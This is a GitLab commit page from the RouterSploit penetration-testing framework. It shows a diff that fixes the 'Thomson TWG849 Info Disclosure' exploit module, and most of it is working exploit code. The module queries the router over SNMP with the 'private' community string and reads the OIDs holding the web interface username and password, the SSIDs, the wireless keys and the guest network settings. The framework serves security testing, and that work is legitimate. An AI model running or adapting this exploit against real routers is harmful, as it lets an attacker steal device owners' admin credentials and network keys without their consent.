Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
eae2c0c7
Unverified
Commit
eae2c0c7
authored
May 10, 2018
by
Marcin Bury
Committed by
GitHub
May 10, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing Thomson TWG849 Info Disclosure module (#410)
parent
db145aaf
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
26 additions
and
17 deletions
+26
-17
twg849_info_disclosure.py
...odules/exploits/routers/thomson/twg849_info_disclosure.py
+26
-17
No files found.
routersploit/modules/exploits/routers/thomson/twg849_info_disclosure.py
View file @
eae2c0c7
...
...
@@ -5,7 +5,7 @@ from routersploit.core.snmp.snmp_client import SNMPClient
class
Exploit
(
SNMPClient
):
__info__
=
{
"name"
:
"Thomson TWG849 Info Disclosure"
,
"description"
:
"Module exploits Thomson TWG849 information disclosure vulnerability which allows
to read
sensitive information."
,
"description"
:
"Module exploits Thomson TWG849 information disclosure vulnerability which allows
reading
sensitive information."
,
"authors"
:
[
"Sebastian Perez"
,
# vulnerability discovery
"Marcin Bury <marcin[at]threat9.com>"
,
# routersploit module
...
...
@@ -20,21 +20,28 @@ class Exploit(SNMPClient):
target
=
OptIP
(
""
,
"Target IPv4 or IPv6 address"
)
port
=
OptPort
(
161
,
"Target SNMP port"
)
verbosity
=
OptBool
(
"false"
,
"Enable verbose output: true/false"
)
oids
=
{
# make, model, software version
"model"
:
"1.3.6.1.2.1.1.1.0"
,
"uptime"
:
"1.3.6.1.2.1.1.3.0"
,
# web interface credentials
"username"
:
"1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0"
,
"password"
:
"1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0"
,
# ssid and key
"ssid1"
:
"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32"
,
"ssid2"
:
"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32"
,
# guest network oids
"guest1"
:
"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33"
,
"guest2"
:
"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34"
,
"guest3"
:
"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35"
,
}
def
__init__
(
self
):
self
.
oids
=
{
# make, model, software version
"model"
:
"1.3.6.1.2.1.1.1.0"
,
"uptime"
:
"1.3.6.1.2.1.1.3.0"
,
# web interface credentials
"username"
:
"1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0"
,
"password"
:
"1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0"
,
# ssid and key
"ssid1"
:
"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32"
,
"ssid2"
:
"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32"
,
# guest network oids
"guest1"
:
"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33"
,
"guest2"
:
"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34"
,
"guest3"
:
"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35"
,
}
def
run
(
self
):
res
=
[]
...
...
@@ -43,8 +50,10 @@ class Exploit(SNMPClient):
for
name
in
self
.
oids
.
keys
():
snmp
=
self
.
snmp_get
(
"private"
,
self
.
oids
[
name
])
if
snmp
:
value
=
str
(
varBinds
[
0
][
1
])
res
.
append
((
name
,
value
))
value
=
str
(
snmp
[
0
][
1
])
if
value
:
res
.
append
((
name
,
value
))
if
res
:
print_success
(
"Exploit success"
)
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment